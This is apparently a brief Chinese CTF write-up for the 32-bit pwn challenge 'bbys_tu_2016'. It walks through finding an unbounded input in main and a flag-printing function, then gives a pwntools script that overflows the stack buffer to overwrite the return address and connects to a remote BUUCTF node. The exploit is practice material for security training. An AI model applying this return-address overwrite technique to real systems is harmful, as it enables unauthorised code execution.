bbys_tu_2016
步骤:
- 例行检查,32位程序,开启了nx保护
- 本地试运行一下程序,看看大概的情况,测试时候发现输入长度过长程序会崩溃,猜测输入点存在问题
- 32位ida载入,检索程序里的字符串,发现有直接读出flag的函数可以利用
flag_addr=0x804856D
- main函数
没有限制v4的长度,存在溢出漏洞,覆盖ret为读出flag的地址即可
from pwn import *
r=remote('node3.buuoj.cn',29593)
flag_addr=0x804856D
payload='a'*(0x14+4)+p32(flag_addr)
r.sendline(payload)
r.interactive()